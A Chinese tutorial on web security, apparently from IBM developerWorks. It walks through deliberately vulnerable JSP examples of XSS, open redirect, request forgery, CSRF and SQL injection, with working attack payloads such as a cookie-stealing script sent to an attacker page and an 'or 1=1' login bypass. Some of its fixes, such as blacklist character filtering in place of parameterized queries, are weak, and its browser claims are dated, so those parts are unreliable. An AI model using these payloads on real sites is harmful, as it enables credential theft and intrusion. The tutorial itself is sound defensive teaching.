原文链接：http://www.ibm.com/developerworks/cn/web/1012_weiqiang_webattack/
简介： Web 安全问题，很多时候会被程序员所忽略，因为他们相信会有专业的运维人员或者安全服务团队帮助他们寻找漏洞，并且指导他们修改这些漏洞。而对于小公司，没有这样专业的人员又怎么办呢？安全漏洞造成了很多不必要的维护和开发任务，产生的问题有时候更是致命的。实际上，只要程序员养成一些习惯，知道一些安全问题的基本原理，可以很大程度避免问题的出现，这也是一个优秀 Web 程序员的必备素质。本文用实际的 JSP 程序例子，讲解了 Web 安全问题的类型和其出现的原因，讲解基本解决方法，帮助 Web 程序员改善编程习惯。
注：本文所有的例子虽然基于 JSP/Servlet 技术开发，但是漏洞和解决方法的原理适用于其他 Web 技术。
Web 安全现状
Web 安全现状不容乐观，近几年也存在 Web 攻击的重大实际案例，比如信息产业部官方报纸《中国电子报》网站被黑、大学生网络银行盗 窃案等。另据调查显示，目前网站常见攻击手段中，SQL 注入、XSS 和跨站脚本攻击占了很大部分。攻击者往往没有明确的目的性，有些攻击并不能带给他们利益，只是出于初学的好奇和攻击成功的成就感，也就是说许多攻击由于初学者引起的。实际上，像很多初学骇客的攻击都可以被防御，只要我们了解其基本原理，就可以应付许多菜鸟骇客的攻击，减少运维费用。所以文章再一次强调 Web 程序员需要注意编程习惯，尽力保证网站的安全。
文章从实际的 JSP 例子出发，尽力解释安全问题产生的原因。这些例子代码是本人初学 JSP，也是许多人在开始学习 JSP 时容易编写的问题代码。代码看起来并没有什么问题，但是往往存在巨大的漏洞。例子虽然简单，却很能说明问题。文章将用 6 个例子，分别讲述 6 种 Web 攻击手段及原理，以及程序员需要从哪些方便进行防御。可以从图片介绍中查看效果。讲解 6 种 Web 漏洞的顺序如下表，读者也可以选择感兴趣的部分点击查看。
· 反射型 XSS 漏洞
· 保存型 XSS 漏洞
· 重定向漏洞
· 本站点请求漏洞
· 跨站点请求漏洞
· SQL 注入漏洞
。
反射型 XSS 漏洞是一种非常常见的 Web 漏洞，原因是由于程序动态显示了用户提交的内容，而没有对显示的内容进行验证限制。因此这就让攻击者可以将内容设计为一种攻击脚本，并且引诱受害者将此攻击脚本作为内容显示，而实际上攻击脚本在受害者打开时就开始执行，以此盗用受害者信息。
例子是动态显示错误信息的程序，错误信息可以在 URL 中传递，显示时服务器不加任何限制，符合反射型 XSS 攻击的条件。
|
<form action="ReflectXSSServer" method="post"> 用户名：<input type="text" name="username" value=""/><br> 密 码：<input type="password" name="password" value=""/><br> <input type="submit" value="提交"/> </form>
|
清单 2. ReflectXSSServe.java 主要代码
|
String username = request.getParameter("username"); String password = request.getParameter("password"); // 添加用户信息到 Cookie，方便下次自动登录 addToCookie(“username”, username); addToCookie(“password”, password); request.getRequestDispatcher(" error.jsp?error=password is wrong!").forward(request, response);
|
|
Error Message :<%=request.getParameter("error")%>
|
index.jsp 作为用户登录界面，提交登录请求给 ReflectXSSServe.java。ReflectXSSServe.java 处理登录请求，将用户名和密码记录到 cookie，方便用户下次登录。如果登录信息错误 ( 例子代码直接认为错误 )，就会跳转到 error.jsp，显示错误信息，错误信息是通过名为 error 的参数传递。
问题分析
代码很简单，似乎也很合逻辑，但是这个程序暴露出一个严重的问题就是错误信息是通过参数传递，并且没有经过任何处理就显示。如果被攻击者知道存在这样一个 error.jsp，攻击者就可以很容易的攻击用户并且获得用户的重要信息。
攻击此程序
可以设计这样一个 URL：http://localhost:8080/application/error.jsp?error=<script>var mess = document.cookie.match(new%20RegExp("password=([^;]*)"))[0]; window.location="http://localhost:8080/attacter/index.jsp?info="%2Bmess</script>。这看起来有点复杂，让我们分析一下。http://localhost:8080/application/error.jsp?error= 这一部分，是 error.jsp 的地址，我们主要关心后面的错误信息内容，这是一段 javascript 脚本，document.cookie.match(new%20RegExp("password=([^;]*)"))[0]，这样一句话，是为了获得 cookie 中名为 password 的值。然后，通过 window.location 重定向到攻击者的网站，并且把 password 作为参数传递过去，这样，攻击者就知道你的密码了。后面，只需要让被攻击者登录后点击这个 URL 就可以了。
为了让被攻击者可以点击这个 URL，攻击者往往会构建能够吸引被攻击者的网页，或者邮件，这个做法有个形象的称呼：钓鱼攻击。当被攻击者登录应用系统后，cookie 就保存了用户名和密码信息。由于设计的 URL 的主体是收信任的网站，被攻击者往往毫不犹豫的点击攻击者设计的 URL，那么设计好的 script 脚本被当做信息内容嵌入到 error.jsp 中时，就会作为脚本开始执行，用户名和密码也就被人盗取了。
用户输入用户名和密码分别为 user 和 pass，登录后受到钓鱼攻击，点击了攻击者设计的 URL。
攻击者设计的 URL 包含攻击脚本，攻击脚本执行后，password 的内容被传到另一个网站，这个应用程序是 attacter（附件中也会包含），password 信息被记录到攻击者的数据库。
解决方法
尽量避免直接显示用户提交的数据，应进行一定的过滤，比如对于数据中存在的 < 和 > 等符号需要进行编码，这样就可以防止脚本攻击。
保存型 XSS 漏洞的危害会更大，它是将攻击脚本保存到被攻击的网页内，所有浏览该网页的用户都要执行这段攻击脚本。
这个例子，模仿了一个论坛发表评论的网页。对于用户的评论，系统不加任何限制和验证，直接保存到服务器的数据库中（例子使用全局对象代替数据库，作为例子演示）。并且当有其他用户查看网页时，显示所有评论。
|
<jsp:useBean id="tl" scope="application" class="java.util.LinkedList"></jsp:useBean> <% String topic = (String)request.getParameter("topic"); if (topic != null && !topic.equals("")) { tl.add(topic); } %> <div> <% for(Object obj : tl) { String str = (String)obj; %> <div><%=str%><div/> <% } %> </div> <form action="saveXSS.jsp" method="post"> 评论：<input type="text" name="topic"/><br> <input type="submit" value="提交"/> </form>
|
这里用了一个应用级的 List 对象存放评论列表，只是为了演示方便。用户可以在 form 中编写评论内容，提交到同一页面 saveXSS.jsp，提交以后，List 对象增加这个评论，并且显示出来。
问题分析
这个程序符合了保存型 XSS 攻击的所有条件，没有限制评论内容，程序会保存所有评论，显示给查看网页的用户。只要攻击者将攻击脚本作为评论内容，那么所有查看评论的用户都将执行这段攻击脚本而受到攻击。
攻击此程序
攻击这个程序所需要设计的攻击脚本和上文的错误显示内容一样，但是需要注意的是这次不需要编码，%20 改为空格，而 %2B 则变为 +，原因是上例是通过 URL 传递数据，而本例是直接通过表单传递数据，攻击脚本：<script>var mess = document.cookie.match(new RegExp("password=([^;]*)"))[0]; window.location="http://localhost:8080/attacter/index.jsp?info="+mess</script>，将这个内容作为评论发表，那么当其他用户查看这个网页时，攻击脚本代码被当做内容嵌入到网页中，攻击脚本就被触发执行，用户就会受到攻击，脚本执行过程和反射型 XSS 攻击一致。
发表的内容是攻击者设计的一个攻击脚本，这个脚本被直接保存到了网页中。任何查看此页面的其他用户，他们的信息都会被盗取。
>解决方法
对于保存型 XSS 漏洞，由于我们无可避免的需要显示用户提交的数据，所以过滤是必然的，过滤 < 和 > 等符号可以避免上述漏洞的发生。
如果应用程序提取用户可控制的输入，并使用这个数据执行一个重定向，指示用户的浏览器访问一个不同于用户要求的 URL，那么就会造成重定向漏洞。
例子允许用户输入一个重定向路径，由服务器执行跳转。
|
<form action="Redirect"> 地址：<input name="target" type="text"><br> <input type="submit" value="提交"> </form>
|
|
String param = request.getParameter("target"); if (param != null && !param.equals("")) { response.sendRedirect(param); }
|
用户在 index.jsp 的表单中输入跳转的路径，服务器端的 Redirect.java 执行 sendRedirect 重定向。
问题分析
程序允许让用户设置重定向地址，而并没对地址内容进行验证处理，而是直接跳转，那么攻击者完全可以设计一个攻击 URL，其中包含攻击者设计的攻击内容，使用钓鱼攻击，诱使用户点击此 URL，受到攻击。
攻击此程序
设计 URL：http://www.baidu.com，这里只是以跳转作为例子，并没有构建真正有害的网站，所以使用普通地址作为演示，假设这个地址有许多有害信息。其中 http:// 头部非常重要，它可以让服务器执行绝对跳转，跳转到 www.baidu.com。如果没有 http:// 就会跳转到系统的相对路径。
点击提交，网页就会跳转到百度界面。
有人试图这样处理跳转路径 param：param = param.replaceFirst("http://", ""); 将第一个 http:// 替换为空字符串，认为这样可以解决问题，但是攻击者往往也很聪明，他会将 URL 改为 : http://http://, 即使替换了第一个，第二天 http:// 就会生效。那么如果对 param 这么处理呢：param = param.replaceAll("http://", ""); 将所有的 http:// 都替换，那么攻击者可以将 URL 设计为 hthttp://tp://，将中间的 http:// 替换为空后，ht 和 tp:// 组合又变为 http://，攻击又一次生效 , 因此，我们需要一个更加全面的考虑。
解决方法
避免由用户决定跳转的页面，如果必须这么做，路径中只允许出现 /以及 数字或者 英文字符可以一定程度的避免这个问题。
本站点请求伪造（on-site request forgery，OSRF）是一种利用保存型 XSS 漏洞的常见攻击有效载荷。是攻击者设计攻击代码，保存到被攻击网页上，当普通用户或者管理员查看页面时，攻击代码就会执行，此攻击代码的目的是伪装成查看网页的用户向服务器发出请求。
这是一个发布图像的论坛例子，用户可以输入图像 URL，论坛负责读取此 URL 进行显示。
img.jsp 与前文的 saveXSS.jsp 代码相同，只是这次显示不再是字符串，而是需要将
<div><%=str%><div/> 改为 <div><img src=<%=str%> width=50 height=50/><div/>，目的是显示用户上传的图像。
|
<% String username = (String)request.getParameter("username"); System.out.println("delete " + username); %> <%=username%>
|
admin.jsp 是管理员用于删除用户的请求处理程序，admin.jsp 实际上应该会判断是否是管理员账户，如果是才允许执行删除用户的操作。本文例子假设请求的确为管理员发出。
问题分析
这个程序明显存在着保存型 XSS 漏洞，并且上传的内容被作为图像 URL，img 标签是本站点请求漏洞的敲门器，因为 img 始终会执行 src 属性的 URL 请求，而不管 src 指向的是否是真正的图像。这个程序并没有对 src 是否是图片地址进行验证，因此可以伪造请求。
攻击此程序
将上传的图像 URL 设计为：admin.jsp? username=hello，提交上去后，从攻击者的角度看，只是图片没有显示，因为攻击者并不是管理员，所以实际上无法删除 hello 这个用户。但是当管理员打开这个页面时，img 标签就会执行 admin.jsp? username=hello 的请求，请求删除 hello 用户，由于的确是管理员发出的请求，服务器执行删除操作，删除了 hello 用户，攻击者的目的也就达到了。
攻击者点击提交，自身并没有什么影响，只是图片没有显示。然而，当管理员登陆后，admin.jsp 中删除 user 的操作就会执行，例子中是打印删除消息到控制台。
解决方法
与保存型 XSS 漏洞一节里的解决方法一样，不仅仅需要限制脚本，还需要判断 img 标签内的 src 属性是否安全，是否包含不是图像的 url。
跨站点请求漏洞，是一个比较隐蔽的漏洞，发出请求的攻击代码，并不存在于被攻击的网站上，而是利用浏览器的跨站点请求特性（IE6 允许，而 FireFox 和 Chrome 禁止了）进行的。所谓的跨站点，就是同一种浏览器同时打开不同网站的网页 A 和 B，如果这个时候 B 向 A 网站发出某个请求，A 网站就会认为是 A 网页发出的请求，并且接受这个请求。
例子程序是通过跨站点请求漏洞，对登录的用户进行攻击。
|
<script type="text/javascript"> setInterval(attack,3000); function attack() { // 不断向 UserLogin.java 发出请求 $.post("http://localhost:8080/KuaZhanDian/UserLogin"); } </script> </head> <body> 伪造的很有吸引力的网站 </body>
|
|
String parameter = request.getParameter("username"); if (parameter != null && !parameter.equals("")) { （1） request.getSession().setAttribute("username", parameter); } else { （2） Object attribute = request.getSession().getAttribute("username"); if (attribute != null) { System.out.println(attribute + "被侵入咯"); } }
|
还有一个 index.jsp, 是向 UserLogin.java 提出登录请求的，注意：Attacker.jsp 是另外一个网站的网页，用于吸引被攻击用户，这个网页循环的向 UserLogin 提出请求，为了方便，使用了 JQuery 进行 ajax 开发。UserLogin.java 中，进入（1）位置，代表正常的用户登录，进入（2）的位置，代表用户登录后处理用户的请求。
问题分析
绝大多数网站，都没有考虑跨站点的漏洞，因为他们的发生是有一定概率的，首先，攻击者要确认被攻击者使用的是允许跨站点请求的浏览器。其次，被攻击者要同时打开攻击者设计的网站并且登录上面的 UserLogin 才可以。如果两个条件都满足，就可以进行攻击了。
攻击此程序
吸引被攻击者打开设计的具有诱惑力的网站 Attacker.jsp，那么请求就开始不停地发出，由于服务器认为不是合法用户发出的请求，不予处理。于此同时，被攻击者登录了正常的应用程序 UserLogin，UserLogin 中记录了被攻击者登录的 session 信息，当 Attacker.jsp 再次发请求（注意，Attacker.jsp 是循环发送请求的）给 UserLogin 时，由于被攻击者已经登录，UserLogin 会认为是被攻击者发出的请求，属于正常请求，就处理了这个请求。攻击目的就达到了。
实际上攻击成功需要一定步骤，下面图片按照攻击步骤排列。
用户登录后，不关闭页面，同时又打开攻击者设计的网页
此时攻击者的页面不断向服务器提出请求，用户并不知道，服务器认为是 helloworld 提出的正常请求，执行该请求。
解决方法
服务器可以给客户端发送唯一的 ID，客户端发送请求时，需要连同这个 ID 一起请求，服务器可以判断这个 ID 是否正确，正确的话才可以执行请求。
SQL 注入，是攻击者精心设计提交的数据，当服务器使用此数据合成 SQL 语句时，SQL 语句失去了开发者的初衷，被改变了语义。执行了具有破坏力的 SQL 语句。
该例子是用户登录的例子，也是 SQL 注入漏洞最容易出现的地方，攻击者精心设计了用户名和密码，使得攻击者可以使用错误的用户名和密码登录应用程序。
|
String username = request.getParameter("username"); String password = request.getParameter("password"); if (username != null && password != null) { String sql = "SELECT username FROM USER WHERE username=" + username + " AND password=" + password + " LIMIT 1"; System.out.println(sql); }
|
LoginServer.java 负责处理登录请求，执行判断请求用户是否可以登录的 SQL 语句。这里输出实际执行的 SQL 语句，以便我们判断是否收到攻击。
问题分析
程序对登录请求的用户名和密码没有进行任何处理。
攻击此程序
将用户名和密码分别设计为 username or 1=1 和 password or 1=1，如果将此数据上传，SQL 语句执行的是 SELECT username FROM USER WHERE username= username or 1=1
AND password= password or 1=1 LIMIT 1， 可以看出，WHERE 语句实际上返回的都是 true，攻击者虽然不知道登录用户的真正用户名和密码，但是却可以顺利登录并且执行此用户的操作，这就是 SQL 注入的严重性了。
图 13 中，用户输入的用户名和密码分别为 user_name、pass_word。
点击登录，控制台输出实际执行的 SQL 语句：
| SELECT username FROM USER WHERE username=user_name AND password=pass_word LIMIT 1 这是一个正常的 SQL 语句。
|
用户输入用户名和密码改为 user_name or 1=1、pass_word or 1=1。
控制台输出实际执行的 SQL 语句：
| SELECT username FROM USER WHERE username=user_name or 1=1 AND password=pass_word or 1=1 LIMIT 1 SQL 注入成功。
|
解决方法
对用户上传的数据中，类似 . = == > < 等 SQL 关键字进行限制，如果包含就报错，禁止用户传递危险字符。
Web 上还有很多的安全问题，如下面的列表，这些问题在很大程度可以通过代码进行防控。有兴趣的读者可以进一步查阅资料，了解这些安全问题。
· 远程命令执行 (Code execution)
· 目录遍历 (Directory traversal)
· 文件包含 (File inclusion)
· 脚本代码暴露 (Script source code disclosure)
· Http 请求头的额外的回车换行符注入 (CRLF injection/HTTP response splitting)
· PHP 代码注入 (PHP code injection)
· XPath injection
· Cookie 篡改 (Cookie manipulation)
· Google Hacking
· 框架注入
· JSON 劫持
· 会话固定
· ActiveX 漏洞
· 攻击缓存 Web 内容
· 持久性 cookie 漏洞
提高自身代码质量，应该坚持认为用户的数据都是不安全的，在了解攻击原理后，尽可能的对用户提交的数据进行验证。